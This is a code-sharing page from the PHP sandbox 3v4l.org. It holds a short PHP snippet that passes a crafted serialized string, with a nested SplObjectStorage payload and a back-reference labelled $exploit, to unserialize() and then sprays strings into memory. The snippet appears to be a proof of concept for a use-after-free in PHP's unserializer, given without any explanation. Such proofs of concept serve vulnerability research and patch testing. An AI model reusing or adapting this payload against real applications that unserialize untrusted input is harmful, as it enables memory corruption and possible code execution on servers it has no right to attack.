3v4l.org

run code in 300+ PHP versions simultaneously
<?php $inner = 'x:i:1;O:8:"stdClass":0:{};m:a:0:{}'; $exploit = 'a:2:{i:0;C:16:"SplObjectStorage":'.strlen($inner).':{'.$inner.'}i:1;R:3;}'; $data = unserialize($exploit); for($i = 0; $i < 5; $i++) { $v[$i] = 'hi'.$i; } var_dump($data);

preferences:
50.24 ms | 402 KiB | 5 Q